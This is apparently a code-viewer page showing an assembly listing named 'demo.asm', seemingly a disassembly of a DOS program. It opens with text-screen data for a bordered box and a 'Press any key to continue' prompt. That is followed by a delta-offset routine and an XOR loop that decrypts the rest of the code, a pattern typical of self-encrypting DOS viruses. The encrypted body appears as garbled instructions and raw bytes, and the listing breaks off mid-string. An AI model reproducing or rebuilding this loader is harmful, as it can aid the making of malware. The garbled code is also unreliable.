📄 demo.asm
字号:
DB 0FH, 74H, 0FH, 20H, 0FH, 73H
DB 0FH, 68H, 0FH, 6FH, 0FH, 75H
DB 0FH, 6CH, 0FH, 64H, 0FH, 20H
DB 0FH, 62H, 0FH, 65H, 0FH, 20H
DB 0FH, 62H, 0FH, 72H, 0FH, 69H
DB 0FH, 67H, 0FH, 68H, 0FH, 74H
DB 0FH, 65H, 0FH, 72H, 0FH, 20H
DB 0FH, 74H, 0FH, 68H, 0FH, 61H
DB 0FH, 6EH, 0FH, 20H, 0FH, 74H
DB 0FH, 68H, 0FH, 65H, 0FH, 20H
DB 0FH, 62H, 0FH, 6FH, 0FH, 78H
DB 0FH, 2EH, 0FH, 20H, 07H, 20H
DB 07H, 20H, 07H,0BAH, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H,0BAH
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H,0BAH, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H,0BAH, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H,0BAH
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H,0C8H, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0CDH, 07H,0CDH
DB 07H,0CDH, 07H,0BCH, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 50H, 07H, 72H
DB 07H, 65H, 07H, 73H, 07H, 73H
DB 07H, 20H, 07H, 61H, 07H, 6EH
DB 07H, 79H, 07H, 20H, 07H, 6BH
DB 07H, 65H, 07H, 79H, 07H, 20H
DB 07H, 74H, 07H, 6FH, 07H, 20H
DB 07H, 63H, 07H, 6FH, 07H, 6EH
DB 07H, 74H, 07H, 69H, 07H, 6EH
DB 07H, 75H, 07H, 65H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 20H
DB 07H, 20H, 07H, 20H, 07H, 01H
LOC_31:
CLI ; Disable interrupts
MOV BP,SP
CALL SUB_6 ; (24E7)
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
SUB_6 PROC NEAR
POP BX
SUB BX,131H
TEST BYTE PTR CS:COPYRIGHT+8[BX],1 ; (97DE:012A=74H)
JZ $+11H ; Jump if zero
LEA SI,[BX+14DH] ; Load effective addr
MOV SP,682H
LOC_32:
XOR [SI],SI
XOR [SI],SP
INC SI
DEC SP
JNZ LOC_32 ; Jump if not zero
OR AL,[BP+DI+4DH]
ADC AX,56CAH
PUSH DI
CLD ; Clear direction
POP SP
PUSH SI
PUSH SI
MOV BL,5CH ; '\'
INC SP
INC SI
INC DX
ADC WORD PTR DS:[0AA46H][BX+DI],DI ; (97DE:AA46=0FFFFH)
XLAT ; al=[al+[bx]] table
INC BP
XCHG AX,DI
PUSH AX
POP SS
INC DX
JGE $+5AH ; Jump if > or =
POP DX
DB 66H, 46H, 62H, 00H, 74H, 63H
DB 3AH, 21H, 6BH, 38H,0C9H,0B2H
DB 75H, 56H, 5AH,0B3H, 00H
DB 4FH, 42H, 42H, 46H, 46H
LOC_33:
POP DX
PUSH DX
PUSH SI
PUSH SI
PUSH DX
PUSH DX
DB 60H, 57H,0BEH, 5BH,0C2H
DB 27H, '""', 27H, '&&}YVRRVVZ[FFVVR'
DB 'R'
DB 0B2H, 5AH, 56H, 0DH,0D3H,0B9H
DB 0F5H, 57H, 74H,0D6H,0E9H, 32H
DB 63H, 4CH,0EFH,0E1H, 0CH, 5BH
DB 78H,0DDH,0D5H, 0AH, 57H,0F5H
DB 5AH, 5BH, 68H,0CCH,0C5H, 18H
DB 47H,0E4H, 58H, 5BH, 05H,0E2H
DB 62H, 9FH, 77H, 0DH, 66H, 58H
DB 0D4H,0B7H, 1AH, 5DH,0EDH
LOC_34:
XCHG AX,BP
MOVSW ; Mov [si] to es:[di]
DB 6AH,0A3H, 98H, 70H,0D0H,0AAH
DB 0FFH, 0CH, 2CH, 4AH, 37H, 57H
DB 0BAH, 5BH, 42H, 77H,0D2H,0D2H
DB 03H, 50H, 7FH,0AAH,0FAH, 0BH
DB 58H, 36H,0DDH
LOC_35:
INC AX
PUSH SP
TEST AL,44H ; 'D'
RCR BYTE PTR [BP+SI+7B0EH],CL ; Rotate thru carry
ESC 0,DH ; coprocessor escape
XOR AL,54H ; 'T'
JA LOC_34 ; Jump if above
RETN 4026H
SUB_6 ENDP
STC ; Set carry flag
INC BP
MOV CH,0D7H
CWD ; Word to double word
;* JMP FAR PTR LOC_1 ;*(68D0:B15D)
DB 0EAH, 5DH,0B1H,0D0H, 68H
PUSH SS
PUSH SS
SUB AL,3EH ; '>'
MOVSB ; Mov [si] to es:[di]
POP SP
AND SI,[DI+77H]
SUB AL,4DH ; 'M'
DB 0D4H, 28H, 55H, 7FH, 75H, 20H
DB 54H,0D8H, 38H, 43H, 08H, 03H
DB 30H, 43H,0DAH, 24H, 5DH, 18H
DB 25H,0E6H,0EDH, 2EH, 59H,0D5H
DB 0A8H, 28H,0EFH,0A4H, 4BH,0EEH
DB 6FH, 4FH, 55H, 73H,0D8H, 67H
DB 54H, 55H, 7FH,0D2H, 53H, 46H
DB 41H, 67H,0E6H, 46H, 59H, 7FH
DB 93H, 53H, 51H, 51H, 18H, 7EH
DB 89H, 13H,0E0H,0A5H, 4AH,0E7H
DB 28H, 63H, 09H,0EEH, 06H,0DDH
DB '彑w', 0DH, 'i
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -